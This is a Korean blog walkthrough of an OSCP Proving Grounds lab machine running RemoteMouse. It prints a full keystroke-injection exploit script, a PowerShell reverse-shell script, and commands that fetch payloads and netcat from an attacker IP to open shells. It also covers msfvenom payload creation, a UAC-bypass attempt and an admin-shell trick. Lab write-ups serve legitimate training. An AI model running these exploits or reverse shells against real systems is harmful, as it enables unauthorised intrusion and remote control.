1.Information Gathering
: Port Scan


1978 : RemoteMouse.exe
취약점이 있는 경우 다음과 같은 배너 확인이 가능하단다.
SIN 15win pwd pwd 300 : Indicating that the service requires authentication.
SIN 15win nop nop 300 : Indicating that the service does not require authentication.
테스트해보면

취약함
관련 exploit을 찾아 확인해 보니

원격으로 계산기 프로그램이 실행된 듯하다.
2. Exploitation
찾은 exploit의 코드를 살펴보면
계산기를 팝업시키는
PopCalc() 함수 확인이 가능하고
해당 부분을 일부 수정해 주면
쉘 획득이 가능하다.
PopCalc() 함수 업데이트 ver.1
#!/usr/bin/python2
from socket import socket, AF_INET, SOCK_STREAM, SOCK_DGRAM
from time import sleep
from sys import argv
def Ping(ip):
try:
target = socket(AF_INET, SOCK_STREAM)
target.settimeout(5)
target.connect((ip, 1978))
response=target.recv(1048)
target.close()
if response=="SIN 15win nop nop 300":
return True
else: return False
except:
print("ERROR: Request timed out")
def MoveMouse(x,y,ip):
def SendMouse(command,times,ip):
for x in range(times):
target = socket(AF_INET, SOCK_DGRAM)
target.sendto(command,(ip,1978))
sleep(0.001)
if x>0:
command="mos 5m 1 0"
SendMouse(command,x,ip)
elif x<0:
x=x*-1
command="mos 5m -1 0"
SendMouse(command,x,ip)
if y>0:
command="mos 5m 0 1"
SendMouse(command,y,ip)
elif y<0:
y=y*-1
command="mos 6m 0 -1"
SendMouse(command,y,ip)
def MousePress(command,ip,action="click"):
if action=="down":
target = socket(AF_INET, SOCK_DGRAM)
target.sendto((command+" d"),(ip,1978))
elif action=="up":
target = socket(AF_INET, SOCK_DGRAM)
target.sendto((command+" u"),(ip,1978))
elif action=="click":
target = socket(AF_INET, SOCK_DGRAM)
target.sendto((command+" d"),(ip,1978))
target.sendto((command+" u"),(ip,1978))
else: raise Exception('MousePress: No action named "'+str(action)+'"')
def SendString(string,ip):
for char in string:
target = socket(AF_INET, SOCK_DGRAM)
target.sendto(characters[char],(ip,1978))
sleep(0.5)
class mouse:
leftClick="mos 5R l"
rightClick="mos 5R r"
middleClick="mos 5R m"
characters={
"A":"key 8[ras]116", "B":"key 8[ras]119", "C":"key 8[ras]118", "D":"key 8[ras]113", "E":"key 8[ras]112",
"F":"key 8[ras]115", "G":"key 8[ras]114", "H":"key 8[ras]125", "I":"key 8[ras]124", "J":"key 8[ras]127",
"K":"key 8[ras]126", "L":"key 8[ras]121", "M":"key 8[ras]120", "N":"key 8[ras]123", "O":"key 8[ras]122",
"P":"key 8[ras]101", "Q":"key 8[ras]100", "R":"key 8[ras]103", "S":"key 8[ras]102", "T":"key 7[ras]97",
"U":"key 7[ras]96", "V":"key 7[ras]99", "W":"key 7[ras]98", "X":"key 8[ras]109", "Y":"key 8[ras]108",
"Z":"key 8[ras]111",
"a":"key 7[ras]84", "b":"key 7[ras]87", "c":"key 7[ras]86", "d":"key 7[ras]81", "e":"key 7[ras]80",
"f":"key 7[ras]83", "g":"key 7[ras]82", "h":"key 7[ras]93", "i":"key 7[ras]92", "j":"key 7[ras]95",
"k":"key 7[ras]94", "l":"key 7[ras]89", "m":"key 7[ras]88", "n":"key 7[ras]91", "o":"key 7[ras]90",
"p":"key 7[ras]69", "q":"key 7[ras]68", "r":"key 7[ras]71", "s":"key 7[ras]70", "t":"key 7[ras]65",
"u":"key 7[ras]64", "v":"key 7[ras]67", "w":"key 7[ras]66", "x":"key 7[ras]77", "y":"key 7[ras]76",
"z":"key 7[ras]79",
"1":"key 6[ras]4", "2":"key 6[ras]7", "3":"key 6[ras]6", "4":"key 6[ras]1", "5":"key 6[ras]0",
"6":"key 6[ras]3", "7":"key 6[ras]2", "8":"key 7[ras]13", "9":"key 7[ras]12", "0":"key 6[ras]5",
"\n":"key 3RTN", "\b":"key 3BAS", " ":"key 7[ras]21",
"+":"key 7[ras]30", "=":"key 6[ras]8", "/":"key 7[ras]26", "_":"key 8[ras]106", "<":"key 6[ras]9",
">":"key 7[ras]11", "[":"key 8[ras]110", "]":"key 8[ras]104", "!":"key 7[ras]20", "@":"key 8[ras]117",
"#":"key 7[ras]22", "$":"key 7[ras]17", "%":"key 7[ras]16", "^":"key 8[ras]107", "&":"key 7[ras]19",
"*":"key 7[ras]31", "(":"key 7[ras]29", ")":"key 7[ras]28", "-":"key 7[ras]24", "'":"key 7[ras]18",
'"':"key 7[ras]23", ":":"key 7[ras]15", ";":"key 7[ras]14", "?":"key 7[ras]10", "`":"key 7[ras]85",
"~":"key 7[ras]75", "\\":"key 8[ras]105", "|":"key 7[ras]73", "{":"key 7[ras]78", "}":"key 7[ras]72",
",":"key 7[ras]25", ".":"key 7[ras]27"
}
def PopCalc(ip):
MoveMouse(-5000,3000,ip)
MousePress(mouse.leftClick,ip)
sleep(1)
SendString("powershell -c \"iex (New-Object Net.WebClient).DownloadString('http://192.168.49.120/reverse.ps1')\"",ip)
sleep(1)
SendString("\n",ip)
print("SUCCESS! Process reverse-shell has run on target",ip)
def main():
try:
targetIP=argv[1]
except:
print("ERROR: You forgot to enter an IP! example: exploit.py 10.0.0.1")
exit()
if Ping(targetIP)==True:
PopCalc(targetIP)
else:
print("ERROR: Target machine is not running RemoteMouse")
exit()
if __name__=="__main__":
main()
reverse.ps1
└─# cat reverse.ps1
do {
# Delay before establishing network connection, and between retries
Start-Sleep -Seconds 1
# Connect to C2
try{
$TCPClient = New-Object Net.Sockets.TCPClient('192.168.49.120', 443)
} catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
# Writes a string to C2
function WriteToStream ($String) {
# Create buffer to be used for next network stream read. Size is determined by the TCP client recieve buffer (65536 by default)
[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
# Write to C2
$StreamWriter.Write($String + 'SHELL> ')
$StreamWriter.Flush()
}
# Initial output to C2. The function also creates the inital empty byte array buffer used below.
WriteToStream ''
# Loop that breaks if NetworkStream.Read throws an exception - will happen if connection is closed.
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
# Encode command, remove last byte/newline
$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
# Execute command and save output (including errors thrown)
$Output = try {
Invoke-Expression $Command 2>&1 | Out-String
} catch {
$_ | Out-String
}
# Write output to C2
WriteToStream ($Output)
}
# Closes the StreamWriter and the underlying TCPClient
$StreamWriter.Close()
popcal() 함수 업데이트 ver.2
................
cmd1='mkdir C:\\Users\\Public\\taku'
#cmd2='bitsadmin /transfer job /download /priority high http://192.168.49.209/nc.exe C:\\Users\\Public\\taku\\nc.exe'
cmd2='certutil -urlcache -f http://192.168.49.209/nc.exe C:\\Users\\Public\\taku\\nc.exe'
cmd3='C:\\Users\\Public\\taku\\nc.exe -e cmd 192.168.49.209 443'
def PopCalc(ip):
MoveMouse(-5000,3000,ip)
MousePress(mouse.leftClick,ip)
sleep(1)
# SendString("powershell -c \"iex (New-Object Net.WebClient).DownloadString('http://192.168.49.209/reverse.ps1')\"",ip)
SendString("cmd.exe",ip)
sleep(1)
SendString("\n",ip)
sleep(1)
SendString(cmd1,ip)
sleep(1)
SendString("\n",ip)
sleep(1)
SendString(cmd2,ip)
sleep(1)
SendString("\n",ip)
sleep(3)
SendString(cmd3,ip)
sleep(1)
SendString("\n",ip)
print("SUCCESS! Process has run on target",ip)
.................
popcal() 어떤 업데이트 버전으로 돌리든 정상 작동하며




침투 성공
3. Privilege Escalation
시도 1
: privileges check

SeChangeNotifyPrivilege
: 준비물 세팅
(1) reverse.exe
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.120 LPORT=443 --format exe -o reverse.exe
(2) exploit
https://github.com/turbo/zero2hero/blob/master/main.c
(3) String64.exe
eventvwr.exe
PsExec.exe
SHELL> (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.120/PsExec.exe', 'C:\Users\Public\ps.exe');
SHELL> (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.120/reverse.exe', 'C:\Users\Public\reverse.exe');
SHELL> (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.120/eventvwr.exe', 'C:\Users\Public\eventvwr.exe');
SHELL> (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.120/strings64.exe', 'C:\Users\Public\str64.exe');


ps.exe를 실행해 보면

UAC가 활성화되어 있어
현 privilege로는 실행이 불가.
UAC 활성화 여부 확인은 다음과 같다.
C:> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5 > 이론적으로 5개가 있지만 0,2, 혹은 5로 나뉨
EnableLUA REG_DWORD 0x1 > 1은 UAC가 enabled 되어 있음
PromptOnSecureDesktop REG_DWORD 0x1 > 1은 켜져있음

다음으로 윈도우에 기본 설치되어 있는
eventvwr.exe의 설정을 strings64.exe로 확인 후
(autoElevate 여부)


확인되었으니 exploit(준비물 2번)을 조금 수정 후 돌리면 된다.
코드 내 수정이 필요한 부분은 하단의 커맨트 부분 활성화 후
위에서 생성한 reverse.exe를 참조하도록 설정

64비트로 컴파일 후
# x86_64-w64-mingw32-gcc main.c -o eventvwr_bypass_64.exe

파일들 다 넘기고
리스너 기동 후 실행
PS C:> (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.120/eventvwr_bypass_64.exe', 'C:\Users\Public\exploit.exe')
안 돌아간다.
실패

시도 2
Users 디렉터리 내 숨은 파일 검색



사용자 암호가 base64 형식으로 저장되어 있고
복호화 후 rdektop으로 접속, 들어가보니
내가 했던 수많은 시도들로
창이 백만 개 떠있고 개판이다;;
접속 후 검색해보니 Remote Mouse는
administrator 권한으로 돌아간다고 한다.
설정 프로그램 들어가 세팅에서
Image transfer Folder를 변경 시도,

변경 시 나오는 에러는 ok 해주고

주소창에 cmd.exe 경로를 입력해 터미널을 실행시키면

관리자 권한의 터미널이 열린다.

끝
'OSCP > Proving Ground' 카테고리의 다른 글
16. Wheels (WARM UP) - Linux (XPath 인젝션) (0) | 2022.06.25 |
---|---|
15. Robust (WARM UP) - Windows (SQL인젝션) (4) | 2022.06.15 |
13. Internal (WARM UP) - Windows (0) | 2022.06.12 |
12. Helpdesk (WARM UP) - Windows (0) | 2022.06.11 |
11. Algernon (WARM UP) - Windows (0) | 2022.06.11 |